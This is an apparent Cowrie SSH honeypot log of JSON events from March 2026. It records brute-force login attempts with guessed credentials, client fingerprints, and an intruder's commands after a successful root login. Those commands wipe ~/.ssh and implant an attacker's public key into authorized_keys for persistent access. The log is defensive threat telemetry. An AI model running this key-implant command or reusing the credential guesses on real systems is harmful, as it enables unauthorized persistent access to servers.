{"eventid":"cowrie.session.connect","src_ip":"51.183.250.100","src_port":37732,"dst_ip":"10.17.0.5","dst_port":22,"session":"26d21651509b","protocol":"ssh","message":"New connection: 51.183.250.100:37732 (10.17.0.5:22) [session: 26d21651509b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:38.733149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:38.737861Z","src_ip":"51.183.250.100","session":"26d21651509b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:38.824914Z","src_ip":"51.183.250.100","session":"26d21651509b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:38.923926Z","src_ip":"92.118.39.92","session":"34555846bf82","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:38.927142Z","src_ip":"92.118.39.92","session":"34555846bf82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.3","src_port":33960,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d8e6e9e80de","protocol":"ssh","message":"New connection: 118.193.33.3:33960 (10.17.0.5:22) [session: 8d8e6e9e80de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:38.988694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:38.993252Z","src_ip":"118.193.33.3","session":"8d8e6e9e80de","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:39.036397Z","src_ip":"92.118.39.92","session":"34555846bf82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:39.041560Z","src_ip":"92.118.39.92","session":"34555846bf82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:39.213365Z","src_ip":"118.193.33.3","session":"8d8e6e9e80de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"inversiones","password":"inversionespass","message":"login attempt [inversiones/inversionespass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:39.221600Z","src_ip":"51.183.250.100","session":"26d21651509b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.62.152.202","src_port":41404,"dst_ip":"10.17.0.5","dst_port":22,"session":"993c9727de7b","protocol":"ssh","message":"New connection: 103.62.152.202:41404 (10.17.0.5:22) [session: 993c9727de7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:39.452982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:39.457485Z","src_ip":"103.62.152.202","session":"993c9727de7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:39.725645Z","src_ip":"103.62.152.202","session":"993c9727de7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"httpd","password":"httpd123!","message":"login attempt [httpd/httpd123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:40.127029Z","src_ip":"118.193.33.3","session":"8d8e6e9e80de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:40.313587Z","src_ip":"51.183.250.100","session":"26d21651509b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"Nutanix123!","message":"login attempt [nutanix/Nutanix123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:40.830792Z","src_ip":"103.62.152.202","session":"993c9727de7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:41.349237Z","src_ip":"118.193.33.3","session":"8d8e6e9e80de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:42.102108Z","src_ip":"103.62.152.202","session":"993c9727de7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.71.136.125","src_port":34802,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ea3f83f4880","protocol":"ssh","message":"New connection: 116.71.136.125:34802 (10.17.0.5:22) [session: 0ea3f83f4880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:48.976919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:48.981420Z","src_ip":"116.71.136.125","session":"0ea3f83f4880","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:49.198877Z","src_ip":"116.71.136.125","session":"0ea3f83f4880","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Rr@123456","message":"login attempt [root/Rr@123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:50.096851Z","src_ip":"116.71.136.125","session":"0ea3f83f4880","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:50.563048Z","src_ip":"116.71.136.125","session":"0ea3f83f4880","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:50.566482Z","src_ip":"116.71.136.125","session":"0ea3f83f4880","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:50.570122Z","src_ip":"116.71.136.125","session":"0ea3f83f4880","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:50.791023Z","src_ip":"116.71.136.125","session":"0ea3f83f4880","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:51.253914Z","src_ip":"116.71.136.125","session":"0ea3f83f4880","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:51.257247Z","src_ip":"116.71.136.125","session":"0ea3f83f4880","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:51.477642Z","src_ip":"116.71.136.125","session":"0ea3f83f4880","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:51.480820Z","src_ip":"116.71.136.125","session":"0ea3f83f4880","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.71.136.125","src_port":43124,"dst_ip":"10.17.0.5","dst_port":22,"session":"98f6a7c87f72","protocol":"ssh","message":"New connection: 116.71.136.125:43124 (10.17.0.5:22) [session: 98f6a7c87f72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:51.683518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:51.688141Z","src_ip":"116.71.136.125","session":"98f6a7c87f72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:51.897706Z","src_ip":"116.71.136.125","session":"98f6a7c87f72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:52.770181Z","src_ip":"116.71.136.125","session":"98f6a7c87f72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:53.982969Z","src_ip":"116.71.136.125","session":"98f6a7c87f72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.71.136.125","src_port":43128,"dst_ip":"10.17.0.5","dst_port":22,"session":"810786a30f6a","protocol":"ssh","message":"New connection: 116.71.136.125:43128 (10.17.0.5:22) [session: 810786a30f6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:54.207314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:54.211503Z","src_ip":"116.71.136.125","session":"810786a30f6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:54.435648Z","src_ip":"116.71.136.125","session":"810786a30f6a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:55.340687Z","src_ip":"116.71.136.125","session":"810786a30f6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:55.551720Z","src_ip":"116.71.136.125","session":"0ea3f83f4880","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:55.561569Z","src_ip":"116.71.136.125","session":"810786a30f6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.218.242.31","src_port":45574,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef2e1c88b876","protocol":"ssh","message":"New connection: 103.218.242.31:45574 (10.17.0.5:22) [session: ef2e1c88b876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:06.625172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:06.629878Z","src_ip":"103.218.242.31","session":"ef2e1c88b876","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:06.847188Z","src_ip":"103.218.242.31","session":"ef2e1c88b876","protocol":"ssh"}
